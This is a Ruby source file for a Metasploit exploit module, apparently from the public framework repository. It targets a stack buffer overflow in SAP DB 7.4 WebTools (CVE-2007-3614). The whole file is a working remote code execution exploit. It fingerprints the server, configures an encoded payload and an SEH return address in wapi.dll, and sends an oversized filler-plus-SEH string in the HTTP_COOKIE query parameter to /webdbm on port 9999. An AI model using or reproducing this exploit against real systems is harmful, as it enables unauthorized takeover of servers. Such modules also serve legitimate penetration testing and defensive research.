metasploit-framework/modules/exploits/windows/http/sapdb_webtools.rb

79 lines
2.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP DB 7.4 WebTools Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
By sending an overly long GET request, it may be possible for
an attacker to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-3614' ],
[ 'OSVDB', '37838' ],
[ 'BID', '24773' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 850,
'BadChars' => "\x00",
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
],
'DisclosureDate' => 'Jul 5 2007',
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(9999) ], self.class )
end
def exploit
filler = rand_text_alphanumeric(20774)
seh = generate_seh_payload(target.ret)
sploit = filler + seh + rand_text_alphanumeric(3000)
print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
res = send_request_raw(
{
'uri' => '/webdbm',
'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
}, 5)
handler
end
end